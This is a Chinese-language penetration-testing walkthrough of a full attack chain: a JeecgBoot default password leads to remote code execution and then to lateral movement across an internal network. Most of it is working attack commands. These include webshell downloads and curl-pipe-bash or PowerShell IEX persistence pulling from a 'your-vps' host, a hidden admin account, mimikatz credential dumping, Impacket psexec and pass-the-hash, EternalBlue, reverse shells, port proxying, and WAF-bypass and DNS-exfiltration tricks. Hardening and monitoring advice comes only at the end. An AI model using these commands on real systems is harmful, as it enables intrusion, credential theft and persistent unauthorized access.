1. 项目概述一次由弱口令引发的深度安全攻防演练最近在内部红蓝对抗演练中我遇到一个非常典型的场景一个基于JeecgBoot开发的后台管理系统。这个框架因其“低代码”和“快速开发”的特性在不少中小企业和内部系统中应用广泛。但恰恰是这种“开箱即用”的便利性往往伴随着巨大的安全隐患——默认配置和弱口令。这次实战的目标就是从一个看似不起眼的登录框开始利用最常见的弱口令漏洞逐步深入最终实现从后台权限获取到内网横向移动的完整攻击链复现。这不仅是技术层面的演练更是对当前企业安全防护体系特别是对流行开源框架默认风险认知的一次深刻检验。JeecgBoot作为一个集成了用户权限、代码生成、报表等功能的快速开发平台其默认安装后管理员账户admin和默认密码123456几乎是公开的秘密。很多开发团队在部署后要么忘记修改要么图省事沿用这就为攻击者打开了一扇“方便之门”。本次实战将详细拆解从信息收集、漏洞利用、权限提升到内网渗透的每一步并重点分享在真实环境中可能遇到的阻碍、绕过技巧以及最终加固建议。无论你是安全工程师想了解攻击手法还是开发人员想规避风险这篇文章都能提供直接的参考。2. 攻击路径整体设计与思路拆解2.1 核心攻击链逻辑梳理面对一个JeecgBoot系统完整的攻击思路并非盲目尝试而是遵循一条清晰的逻辑链入口突破 - 权限建立 - 信息收集 - 横向移动。弱口令漏洞在这里扮演了“入口突破”的关键角色。我们的首要目标是获得一个有效的后台会话Session。一旦进入后台攻击面便急剧扩大。JeecgBoot后台通常集成了文件管理、数据库操作通过Druid监控、命令执行通过在线编程或SQL终端等功能模块这些都可能成为我们获取服务器权限即getshell的跳板。在获得服务器权限后攻击便进入了内网阶段。此时攻击者的视角从单台Web服务器扩展到了整个内部网络。我们需要利用已控制的服务器作为“桥头堡”进行内网资产探测、凭据窃取、漏洞利用最终实现向其他关键服务器如数据库服务器、文件服务器、域控制器的横向移动。整个过程的成功高度依赖于前期信息收集的细致程度和对目标系统架构的准确判断。2.2 工具与环境的准备工欲善其事必先利其器。本次实战主要用到以下几类工具我会说明选择它们的理由因为工具选型直接关系到攻击的效率和隐蔽性。信息收集与漏洞探测浏览器与开发者工具最基础也是最核心的。用于手动测试登录接口、分析请求响应、查看前端源码中可能泄露的路径或接口信息。Burp SuiteWeb渗透测试的瑞士军刀。我们主要用它的Repeater模块对登录请求进行爆破用Intruder模块进行密码字典攻击。相比其他工具Burp的可视化操作和强大的数据包编辑能力在应对可能存在的复杂验证机制如动态Token时更为灵活。Nmap端口扫描神器。在获得Web权限后用于从服务器内部扫描内网网段快速发现存活主机和开放服务绘制内网地图。漏洞利用与权限提升中国菜刀/Cobalt Strike用于建立Webshell连接后的持久化控制。考虑到实战环境及权限维持我更倾向于使用Cobalt Strike的Beacon它支持多种协议HTTP/S, DNS, SMB回连流量伪装性好且内置了丰富的横向移动工具。MimikatzWindows环境下凭据提取的终极利器。用于从内存中抓取明文密码、哈希值这是内网横向移动的“通行证”。哥斯拉/蚁剑优秀的国产Webshell管理工具。特别是哥斯拉其流量加密特性可以有效绕过一些简单的WAF或IDS检测在实战中成功率更高。内网横向移动Impacket工具套件一套用Python编写的网络协议工具包。其中的psexec.py、smbexec.py、wmiexec.py等脚本可以利用获取的哈希值或密码直接在其他Windows主机上执行命令无需手动上传文件非常高效。FRP/Ngrok内网穿透工具。当控制的服务器无法直接出网时需要借助这些工具建立一条从外网到内网的隧道将内网服务的端口代理出来方便我们继续攻击。注意所有工具的使用必须在合法授权的环境中进行。本文所述技术仅用于安全研究、教学和授权测试任何未经授权的攻击行为均属违法。2.3 目标环境模拟与风险评估为了真实复现我搭建了一个测试环境一台Windows Server 2016作为Web服务器部署了最新版JeecgBoot并故意保留了admin/123456的弱口令。内网中还存在另一台Windows 10主机和一台CentOS服务器。整个演练过程在隔离的虚拟网络中进行。从风险角度看JeecgBoot弱口令漏洞的危害被严重低估。它不仅仅是一个“后台被登入”的问题。因为JeecgBoot后台的高权限特性它直接导致了远程代码执行RCE的高风险。攻击者可以通过后台功能轻松上传Webshell进而控制整个服务器。一旦服务器失守内网中大量同样存在弱口令、未打补丁的服务便暴露在攻击者面前形成“破一点而溃全线”的局面。很多企业只重视边界防火墙却忽视了内部系统间的安全防护这正是横向移动能够屡屡得手的原因。3. 漏洞利用从弱口令到后台GetShell3.1 信息收集与入口点确认攻击的第一步永远是信息收集。我们首先需要确定目标就是JeecgBoot。通过访问网站查看页面底部版权信息、登录页面的样式、以及像/jeecg-boot、/druid这样的常见路径可以快速识别。使用浏览器开发者工具F12查看网络请求也能发现大量以/jeecg-boot/为前缀的API接口这是JeecgBoot的典型特征。确认目标后直接访问登录页面通常是/jeecg-boot/sys/login。尝试使用最经典的弱口令组合admin/admin、admin/123456、admin/password、admin/12345678等。很多时候由于开发人员的疏忽这些密码甚至能在正式环境中直接登录。如果简单尝试失败就需要进行系统的爆破。这里用Burp Suite演示在浏览器中配置代理指向Burp。在登录页面输入任意用户名密码如test/test并点击登录Burp会截获这个POST请求。将请求发送到Intruder模块清除所有自动标记手动选择密码参数的值作为攻击位置。在Payloads选项卡中加载一个常用的弱口令字典可以自己整理或使用rockyou.txt等公开字典。开始攻击通过观察响应包的长度、状态码或关键字如“success”: true来判断是否爆破成功。3.2 后台功能分析与GetShell路径选择成功登录后台后不要急于行动先花几分钟熟悉后台界面。JeecgBoot后台功能模块繁多我们需要寻找能够上传文件或执行代码的地方。常见的GetShell路径有以下几条通过“在线编程”功能JeecgBoot早期版本或某些定制版的“开发助手”或“在线编程”模块允许在线编写和执行Java代码。这是最直接的RCE途径。我们可以编写一段简单的Java代码利用Runtime.getRuntime().exec()来执行系统命令例如弹出一个计算器或者写入一个Webshell。通过“系统管理”-“文件管理”很多版本的后台提供了文件上传和管理功能。我们可以尝试上传一个图片马将Webshell代码嵌入图片中然后结合可能的文件包含漏洞或者直接利用后台的重命名功能将.jpg后缀改为.jsp来获取Webshell。通过Druid监控台的SQL执行器Druid是JeecgBoot默认集成的数据库连接池其监控台路径通常是/druid/index.html。如果未修改默认密码也是admin/123456我们可以直接进入。在Druid的“SQL监控”或“执行SQL”页面可以尝试执行SELECT “?php eval($_POST[‘cmd’]);?” INTO OUTFILE ‘/var/www/html/shell.php’这类语句将Webshell写入Web目录。但这需要数据库用户有FILE权限且知道Web绝对路径。通过“系统管理”-“定时任务”定时任务功能通常支持调用Java类或执行Shell脚本。我们可以创建一个任务指向一个包含恶意代码的Jar包或直接执行系统命令的脚本。在我的这次实战中目标系统恰好存在“在线编程”模块。这是最便捷的路径。3.3 利用“在线编程”实现命令执行进入“在线编程”或“开发助手”模块通常会有一个在线的Java代码编辑器。我们编写如下代码import java.io.BufferedReader; import java.io.InputStreamReader; public class Shell { public static void main(String[] args) { try { Process p Runtime.getRuntime().exec(whoami); BufferedReader br new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line br.readLine()) ! null) { System.out.println(line); } br.close(); } catch (Exception e) { e.printStackTrace(); } } }点击执行如果页面上返回了服务器当前的用户名如nt authority\system或root则证明命令执行成功。接下来我们可以执行更复杂的命令例如下载一个Webshell到Web目录。对于Windows服务器可以使用certutil或powershell下载文件Runtime.getRuntime().exec(cmd /c certutil -urlcache -split -f http://your-vps/shell.jsp C:\\tomcat\\webapps\\ROOT\\shell.jsp);对于Linux服务器可以使用wget或curlRuntime.getRuntime().exec(/bin/bash -c wget http://your-vps/shell.jsp -O /usr/local/tomcat/webapps/ROOT/shell.jsp);实操心得在实际测试中可能会遇到Java安全管理器SecurityManager的限制导致无法执行命令。此时可以尝试编码命令字符串或者换用其他路径比如通过写入JSP文件的方式。先尝试echo一段简单的JSP代码到Web目录如果成功再写入功能完整的Webshell。成功写入Webshell如shell.jsp后通过浏览器或蚁剑/哥斯拉连接我们就获得了一个稳定的、图形化操作的远程控制终端。至此我们已经完成了从外部渗透到获取服务器控制权的关键一步。4. 权限维持与内网信息收集4.1 建立持久化后门获取Webshell只是第一步我们需要建立一个更稳定、更隐蔽的持久化通道防止Webshell被管理员发现并删除。常用的方法有创建计划任务在Windows上使用schtasks命令创建定时启动的后门。可以设置为每分钟连接一次我们的C2服务器。schtasks /create /tn “WindowsUpdate” /tr “C:\Windows\System32\cmd.exe /c powershell -nop -w hidden -c ‘IEX ((new-object net.webclient).downloadstring(‘http://your-vps:80/a’))’” /sc minute /mo 1在Linux上可以写入crontab。(crontab -l; echo “* * * * * curl http://your-vps:80/shell.sh | bash”) | crontab -安装Cobalt Strike Beacon这是更专业的方法。通过Webshell上传beacon.exe然后执行。Beacon会以某种方式如注入到合法进程explorer.exe中在内存中运行并与C2服务器建立心跳连接。这种方式无文件落地更难被传统杀软检测。添加隐藏用户在Windows服务器上添加一个隐藏的管理员用户作为备用RDP或SMB登录凭证。net user hacker$ Pssw0rd! /add net localgroup administrators hacker$ /add注意用户名后的$符号可以在net user命令中隐藏该用户但并非绝对隐蔽。4.2 内网主机与端口探测拿到服务器权限后我们首先需要摸清它所处的内网环境。在Webshell中执行ipconfig /allWindows或ifconfigLinux查看服务器的IP地址、网关、DNS服务器等信息从而判断内网网段。假设服务器内网IP是192.168.1.100网关是192.168.1.1那么192.168.1.0/24这个C段就是我们的首要目标。使用上传的Nmap进行扫描# 在Webshell中执行需先上传nmap for Windows/Linux ./nmap -sn 192.168.1.0/24-sn参数表示只进行Ping扫描快速发现存活主机。发现存活主机后再针对特定IP进行详细端口扫描./nmap -sS -sV -O -p 1-65535 192.168.1.150-sS是SYN半开扫描相对隐蔽-sV探测服务版本-O探测操作系统-p指定端口范围。4.3 关键信息窃取与凭据提取信息收集的深度决定了横向移动的广度。我们需要在已控制的服务器上尽可能收集敏感信息配置文件寻找Web应用的配置文件如application.yml,application.properties里面可能包含数据库连接字符串含密码、Redis密码、第三方API密钥等。数据库连接信息除了配置文件JeecgBoot的Druid监控台如果可直接访问其首页就会明文显示数据库URL和用户名密码被隐藏但可破解。浏览器密码与历史记录如果服务器是开发或运维人员的机器其浏览器中可能保存了各类后台、堡垒机、云平台的密码。Windows凭据提取这是内网横向的“黄金门票”。上传mimikatz.exe执行以下命令privilege::debug # 提升权限 sekurlsa::logonpasswords # 抓取内存中的明文密码和哈希如果成功你将看到当前登录用户甚至最近登录过但已锁屏的用户的明文密码或NTLM哈希。哈希值可以用于“哈希传递”攻击。网络共享与敏感文件搜索使用net view或net share查看网络共享使用findstr或grep在文件系统中搜索包含“password”、“pwd”、“key”、“secret”等关键词的文件。5. 内网横向移动实战5.1 利用凭据进行SMB/WMI横向移动假设我们从192.168.1.100Web服务器上抓取到了域用户JEECG\devuser的密码Dev123!#并且发现内网主机192.168.1.150是存活状态开放了445SMB和135WMI端口。方法一使用Impacket的psexec.py在攻击者自己的Kali机器上利用获取的凭据直接执行命令python3 psexec.py JEECG/devuser:Dev123!#192.168.1.150 “whoami”如果成功会返回nt authority\system表示我们以SYSTEM权限在目标机器上执行了whoami命令。我们可以进一步让目标机器下载并执行我们的后门程序。方法二使用Windows自带的Psexec需上传在已控制的Web服务器192.168.1.100上上传PsExec64.exe然后执行PsExec64.exe \\192.168.1.150 -u JEECG\devuser -p Dev123!# -s cmd.exe-s参数表示以SYSTEM权限运行。执行成功后会打开一个连接到192.168.1.150的cmd窗口。方法三使用WMI执行命令WMI是Windows管理规范也是横向移动的常用协议。可以使用Impacket的wmiexec.pypython3 wmiexec.py JEECG/devuser:Dev123!#192.168.1.150或者使用PowerShell命令在Webshell中执行$cred New-Object System.Management.Automation.PSCredential(“JEECG\devuser”, (ConvertTo-SecureString “Dev123!#” -AsPlainText -Force)) Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList “calc.exe” -ComputerName 192.168.1.150 -Credential $cred5.2 哈希传递攻击如果只抓取到了NTLM哈希如aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42而没有明文密码我们可以使用“哈希传递”攻击。这种攻击利用的是Windows认证协议的特性无需破解哈希即可直接使用它进行认证。使用Impacket进行哈希传递python3 psexec.py -hashes :e19ccf75ee54e06b06a5907af13cef42 JEECG/devuser192.168.1.150注意命令中的-hashes参数后跟的是LM哈希:NTLM哈希如果LM哈希为空现代Windows默认如此就像上面一样在冒号前留空。5.3 利用MS17-010永恒之蓝漏洞在内网中经常存在未及时打补丁的Windows 7或Windows Server 2008机器。我们可以尝试利用著名的MS17-010漏洞进行横向移动。使用Metasploit框架中的exploit/windows/smb/ms17_010_eternalblue模块设置好目标IP、端口和Payload即可尝试攻击。如果成功会直接获得一个Meterpreter会话。在实战中我使用msfvenom生成一个反向shell的exe然后通过已控制的192.168.1.100的Webshell使用copy命令或PowerShell下载将其放到192.168.1.100的一个共享目录下。接着利用前面获取的凭据通过WMI或PsExec在192.168.1.150上执行这个恶意exe从而控制该主机。这种方式不依赖目标是否存在特定漏洞通用性更强。5.4 突破网络隔离与代理设置复杂的内网通常有分区隔离。Web服务器可能在DMZ区而数据库服务器在内网核心区它们之间可能无法直接连通。此时我们需要进行“跳板”或“代理”。端口转发在已控制的192.168.1.100上使用netsh或frpc等工具将内网数据库服务器192.168.2.10的3306端口转发到192.168.1.100的某个高位端口如33060。这样我们外部的攻击机直接连接192.168.1.100:33060流量就会被转发到内网的数据库。# 在192.168.1.100上执行 netsh interface portproxy add v4tov4 listenport33060 listenaddress0.0.0.0 connectport3306 connectaddress192.168.2.10建立SOCKS代理使用reGeorg、EarthWorm或Cobalt Strike的socks功能在192.168.1.100上建立一个SOCKS4/5代理服务。然后在我们本地的攻击机上配置代理这样我们所有的扫描工具如Nmap、SQLMap的流量都会通过这台内网机器发出仿佛我们就在内网中一样。6. 常见问题、排查技巧与防御建议6.1 攻击过程中常见问题与解决弱口令爆破失败可能原因存在图形验证码、登录失败锁定机制、请求中带有动态Token如__RequestVerificationToken。排查技巧使用Burp的Repeater手动测试几次观察Cookie和POST参数的变化。验证码可能需要OCR识别或绕过如重复使用同一个有效的验证码值。锁定机制需要尝试降低爆破频率或使用代理IP池。动态Token需要从上一个响应中提取并设置到下一个请求中。命令执行无回显可能原因Java安全策略限制、命令被拦截、输出流被重定向。解决思路尝试使用dnslog或http请求外带数据。例如执行ping %USERNAME%.your-dnslog.com通过DNS查询记录来获取命令输出用户名。或者使用curl或wget将命令结果发送到自己的VPS。上传Webshell被拦截可能原因有WAF、杀毒软件或应用本身有文件类型、内容检测。绕过技巧尝试修改文件后缀如shell.jsp改为shell.jpg.jsp、使用图片马配合文件包含漏洞、对Webshell代码进行编码混淆、使用.htaccess文件绕过针对Apache、或者利用其他上传点如用户头像上传。内网扫描无结果可能原因主机防火墙开启、ICMP被禁用、扫描工具被识别。排查技巧先尝试用arp -aWindows或arp -nLinux查看本地的ARP缓存这里面有最近通信过的主机IP和MAC地址。使用-Pn参数让Nmap跳过Ping检测直接扫描指定端口。尝试扫描常见端口如22, 80, 443, 445, 3389, 3306等。6.2 针对JeecgBoot系统的安全加固建议对于开发和管理人员必须意识到默认配置的危险性并采取以下措施强制修改默认密码部署后第一件事修改所有默认账户密码特别是admin和druid监控台的密码。使用强密码策略长度大于12位包含大小写字母、数字、特殊字符。限制后台访问通过防火墙或安全组策略将后台管理地址如/jeecg-boot的访问源IP限制为管理员IP段。切勿将管理后台暴露在公网。禁用或删除高危模块对于非必需的功能如“在线编程”、“SQL终端”、“Druid监控台”在生产环境中应直接禁用或删除相关代码、菜单。如果必须使用Druid务必修改其默认访问路径和账号密码。及时更新与补丁关注JeecgBoot官方发布的安全更新及时升级框架版本和依赖库如Spring Boot, Shiro等。部署Web应用防火墙在应用前端部署WAF可以有效拦截针对弱口令的暴力破解、常见的Webshell上传和SQL注入攻击。加强内网安全遵循最小权限原则服务器之间使用防火墙进行隔离。定期进行内网漏洞扫描和安全评估。在所有主机上部署EDR终端检测与响应系统监控异常进程和网络连接。6.3 安全监控与应急响应即使做了防护也应假设可能被突破。因此完善的监控和响应机制至关重要日志审计集中收集和分析Web访问日志、系统登录日志、Druid监控日志。设置告警规则如同一IP短时间内大量登录失败、非工作时间访问后台、执行敏感操作如文件上传、SQL执行。文件完整性监控对Web目录下的文件特别是.jsp,.php,.asp等可执行脚本进行监控一旦有新增或修改立即告警。网络流量分析监控服务器异常的外联请求尤其是向未知IP或域名发起连接、使用非常见端口如4444, 5555的流量。制定应急预案一旦发现入侵立即隔离受影响主机、重置所有相关密码、排查后门、分析攻击路径并修补漏洞最后从干净备份恢复数据。这次从JeecgBoot弱口令到内网横向移动的完整演练清晰地展示了一个简单漏洞如何被层层利用最终导致整个内网沦陷。安全是一个整体任何一个环节的薄弱都可能成为突破口。对于开发者安全编码和规范配置是底线对于运维者严格的访问控制和持续的监控是铠甲对于企业建立纵深防御体系和安全意识文化才是应对这类“低门槛、高危害”攻击的根本之道。在实战中我最大的体会是攻击者的耐心和细致往往超乎想象而防御者的任何一个“想当然”或“省事”的念头都可能埋下巨大的隐患。